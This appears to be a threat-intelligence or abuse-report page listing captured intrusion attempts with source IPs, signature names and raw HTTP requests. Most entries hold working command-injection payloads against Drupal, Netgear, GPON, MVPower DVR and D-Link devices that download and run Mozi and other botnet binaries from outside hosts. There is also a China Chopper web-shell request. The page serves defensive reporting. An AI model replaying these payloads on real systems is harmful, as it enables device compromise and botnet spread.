🇨🇦
158.69.0.205
07 Jan 2022
Drupal unsafe internal attribute remote code execution attempt
2022-01-06T17:25:24.857Z
{
POST /? ...
show more
Drupal unsafe internal attribute remote code execution attempt
2022-01-06T17:25:24.857Z
{
POST /?q=user%2Fpassword&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&name%5B%23markup%5D=cd+%2Fvar%2Ftmp%3Bwget+-O+-+https%3A%2F%2Finstitutoefraim.com.br%2Fwp-content%2Fuploads%2F2021%2F01%2Ftoggige-name.jpg%7Cperl%3Bcurl+-L+https%3A%2F%2Finstitutoefraim.com.br%2Fwp-content%2Fuploads%2F2021%2F01%2Ftoggige-name.jpg%7Cperl%3Brm+-rf+bo%3Brm+-rf+toggige-name.%2A%3Bfetch+https%3A%2F%2Finstitutoefraim.com.br%2Fwp-content%2Fuploads%2F2021%2F01%2Ftoggige-name.jpg%7Cperl%3Blwp-download+https%3A%2F%2Finstitutoefraim.com.br%2Fwp-content%2Fuploads%2F2021%2F01%2Ftoggige-name.jpg%7Cperl%3Brm+-rf+toggige-name.%2A HTTP/1.1
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.26.0
Content-Length: 47
Content-Type: application/x-www-form-urlencoded
_triggering_element_name=name&form_id=user_pass
}
show less
Hacking
Web App Attack
🇰🇷
221.160.177.83
07 Jan 2022
Netgear DGN1000 series routers authentication bypass attempt
2022-01-06T07:40:50.674Z
{
GET /setu ...
show more
Netgear DGN1000 series routers authentication bypass attempt
2022-01-06T07:40:50.674Z
{
GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://221.160.177.83:2060/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 HTTP/1.0
}
show less
Hacking
Web App Attack
🇮🇳
134.209.150.110
05 Jan 2022
PHPUnit PHP remote code execution attempt
2022-01-05T10:37:29.916Z
{
POST /vendor/phpunit/phpunit ...
show more
PHPUnit PHP remote code execution attempt
2022-01-05T10:37:29.916Z
{
POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 52
Accept: */*
Accept-Language: en-US,en;q=0.5
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
<?=md5('ve69q4pj');echo strtoupper(php_uname('s'))?>
}
show less
Web App Attack
🇮🇳
103.40.196.54
04 Jan 2022
GPON Router authentication bypass and command injection attempt
2022-01-04T02:51:06.019Z
{
POST / ...
show more
GPON Router authentication bypass and command injection attempt
2022-01-04T02:51:06.019Z
{
POST /GponForm/diag_Form?images/ HTTP/1.1
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Hello, World
Content-Length: 118
XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://103[.]40[.]196[.]54[:]42458/Mozi.m+-O+->/tmp/gpon80;sh+/tmp/gpon80&ipv=0
}
show less
Hacking
🇹🇼
118.233.93.72
04 Jan 2022
GPON Router authentication bypass and command injection attempt
2022-01-04T05:10:21.318Z
{
POST / ...
show more
GPON Router authentication bypass and command injection attempt
2022-01-04T05:10:21.318Z
{
POST /GponForm/diag_Form?images/ HTTP/1.1
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Hello, World
Content-Length: 118
XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://118[.]233[.]93[.]72[:]58039/Mozi.m+-O+->/tmp/gpon80;sh+/tmp/gpon80&ipv=0
}
show less
Hacking
🇩🇿
105.101.161.44
03 Jan 2022
PHPUnit PHP remote code execution attempt
2022-01-02T14:46:19.677Z
{
GET /salute/vendor/phpunit/p ...
show more
PHPUnit PHP remote code execution attempt
2022-01-02T14:46:19.677Z
{
GET /salute/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
<?php echo(base64_decode("a2lsbF90aGVfbmV0"));
}
show less
Hacking
🇷🇴
86.104.10.79
03 Jan 2022
MALWARE-CNC Win.Backdoor.Chopper web shell connection
2022-01-02T07:36:38.207Z
{
POST /search.php ...
show more
MALWARE-CNC Win.Backdoor.Chopper web shell connection
2022-01-02T07:36:38.207Z
{
POST /search.php HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)
Content-Length: 229
a=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOztlY2hvICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ107ZWNobygifDwtIik7ZGllKCk7
}
show less
Hacking
Exploited Host
🇺🇸
104.35.184.69
31 Dec 2021
MVPower DVR Shell arbitrary command execution attempt
2021-12-31T17:43:09.441Z
{
GET /shell?cd+/t ...
show more
MVPower DVR Shell arbitrary command execution attempt
2021-12-31T17:43:09.441Z
{
GET /shell?cd+/tmp;rm+-rf+*;wget+ 212[.]192[.]216[.]46/bins/arm;chmod+777+/tmp/arm;sh+/tmp/arm+selfrep.jaws HTTP/1.1
User-Agent: Hello, world
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive
}
show less
Hacking
🇨🇦
172.105.101.233
31 Dec 2021
MVPower DVR Shell arbitrary command execution attempt
2021-12-31T16:18:05.384Z
{
GET /shell?cd+/t ...
show more
MVPower DVR Shell arbitrary command execution attempt
2021-12-31T16:18:05.384Z
{
GET /shell?cd+/tmp;rm+-rf+*;wget+ 212[.]192[.]216[.]45/bins/arm;chmod+777+/tmp/arm;sh+/tmp/arm+selfrep.jaws HTTP/1.1
User-Agent: Hello, world
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive
}
show less
Hacking
Web App Attack
🇺🇸
63.152.85.76
31 Dec 2021
Netgear DGN1000 series routers authentication bypass attempt
2021-12-31T00:53:27.277Z
{
GET /setu ...
show more
Netgear DGN1000 series routers authentication bypass attempt
2021-12-31T00:53:27.277Z
{
GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://63[.]152[.]115[.]53[:]54080/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 HTTP/1.0
}
show less
Hacking
🇮🇳
59.89.223.193
31 Dec 2021
Netgear DGN1000 series routers authentication bypass attempt
2021-12-31T12:53:38.014Z
{
GET /setu ...
show more
Netgear DGN1000 series routers authentication bypass attempt
2021-12-31T12:53:38.014Z
{
GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://59[.]89[.]223[.]193[:]58121/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 HTTP/1.0
}
show less
Hacking
🇺🇸
164.92.208.144
30 Dec 2021
D-Link multiple products HNAP SOAPAction header command injection attempt
2021-12-30T19:52:41.277Z
...
show more
D-Link multiple products HNAP SOAPAction header command injection attempt
2021-12-30T19:52:41.277Z
{
POST /HNAP1/ HTTP/1.1
User-Agent: Mozila/5.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
SOAPAction: "http://purenetworks[.]com/HNAP1/GetDeviceSettings/`cd && cd tmp && export PATH=$PATH:. && cd /tmp;wget http://185[.]204[.]217[.]174/z.sh;chmod 777 z.sh;sh z.sh dlink;rm -rf z.sh`"
Content-Length: 0
}
show less
Hacking
🇻🇳
113.171.173.103
30 Dec 2021
GPON Router authentication bypass and command injection attempt
timestamp: 2021-12-29T22:56:25.130Z ...
show more
GPON Router authentication bypass and command injection attempt
timestamp: 2021-12-29T22:56:25.130Z
{
POST /GponForm/diag_Form?images/ HTTP/1.1
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Hello, World
Content-Length: 118
XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://113[.]171[.]173[.]103[:]42003/Mozi.m+-O+->/tmp/gpon80;sh+/tmp/gpon80&ipv=0
}
show less
Hacking
Web App Attack
🇮🇳
59.99.142.187
30 Dec 2021
GPON Router authentication bypass and command injection attempt
timestamp: 2021-12-29T23:02:36.662Z ...
show more
GPON Router authentication bypass and command injection attempt
timestamp: 2021-12-29T23:02:36.662Z
{
POST /GponForm/diag_Form?images/ HTTP/1.1
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Hello, World
Content-Length: 118
XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://59[.]99[.]142[.]187[:]57658/Mozi.m+-O+->/tmp/gpon80;sh+/tmp/gpon80&ipv=0
}
show less
Web App Attack
🇺🇸
207.244.248.240
29 Dec 2021
Apache Obfuscated log4j RCE Attempt (tcp ldap) (CVE-2021-44228)
Timestamp: Dec 29 14:21:39 UTC-8
Web App Attack
🇮🇳
116.68.97.205
29 Dec 2021
Netgear DGN1000 series routers authentication bypass attempt
timestamp: 2021-12-29T03:42:10.278Z
{ ...
show more
Netgear DGN1000 series routers authentication bypass attempt
timestamp: 2021-12-29T03:42:10.278Z
{
GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://116[.]68[.]97[.]205[:]37623/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 HTTP/1.0
}
show less
Hacking
🇩🇪
212.192.216.90
28 Dec 2021
MVPower DVR Shell arbitrary command execution attempt
timestamp: 2021-12-28T22:04:11.436Z
{
GET / ...
show more
MVPower DVR Shell arbitrary command execution attempt
timestamp: 2021-12-28T22:04:11.436Z
{
GET /shell?cd+/tmp;rm+-rf+*;wget+ 212[.]192[.]216[.]45/bins/arm;chmod+777+/tmp/arm;sh+/tmp/arm+selfrep.jaws HTTP/1.1
User-Agent: Hello, world
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive
}
show less
Hacking
🇮🇳
61.3.70.146
28 Dec 2021
MVPower DVR Shell arbitrary command execution attempt
{
GET /shell?cd+/tmp;rm+-rf+*;wget+http://61 ...
show more
MVPower DVR Shell arbitrary command execution attempt
{
GET /shell?cd+/tmp;rm+-rf+*;wget+http://61[.]3[.]70[.]146[:]55500/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1
User-Agent: Hello, world
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive
}
show less
Hacking
🇩🇰
84.238.62.208
28 Dec 2021
MVPower DVR Shell arbitrary command execution attempt
{
GET /shell?cd+/tmp;rm+-rf+*;wget+ 212[.]19 ...
show more
MVPower DVR Shell arbitrary command execution attempt
{
GET /shell?cd+/tmp;rm+-rf+*;wget+ 212[.]192[.]216[.]46/bins/arm;chmod+777+/tmp/arm;sh+/tmp/arm+selfrep.jaws HTTP/1.1
User-Agent: Hello, world
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive
}
show less
Hacking
🇺🇸
69.49.235.93
27 Dec 2021
Apache Log4j logging remote code execution attempt
timestamp: 2021-12-27 13:53:42.000 -08:00
Web App Attack
🇵🇰
175.107.0.204
27 Dec 2021
Netgear DGN1000 series routers authentication bypass attempt
{
GET /setup.cgi?next_file=netgear.cf ...
show more
Netgear DGN1000 series routers authentication bypass attempt
{
GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://175[.]107[.]0[.]204[:]40747/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 HTTP/1.0
}
show less
Hacking
🇩🇪
164.90.235.62
27 Dec 2021
Apache Log4j logging remote code execution attempt
timestamp: 2021-12-27 11:23:36.809 -08:00
Web App Attack
🇺🇸
162.241.121.96
27 Dec 2021
Apache Log4j logging remote code execution attempt
timestamp: 2021-12-27T18:52:19.430Z
Web App Attack
🇩🇪
167.172.108.249
27 Dec 2021
Apache Log4j logging remote code execution attempt
timestamp: 2021-12-27T18:56:02.671Z
Web App Attack
🇩🇪
212.192.216.42
27 Dec 2021
MVPower DVR Shell arbitrary command execution attempt
Web App Attack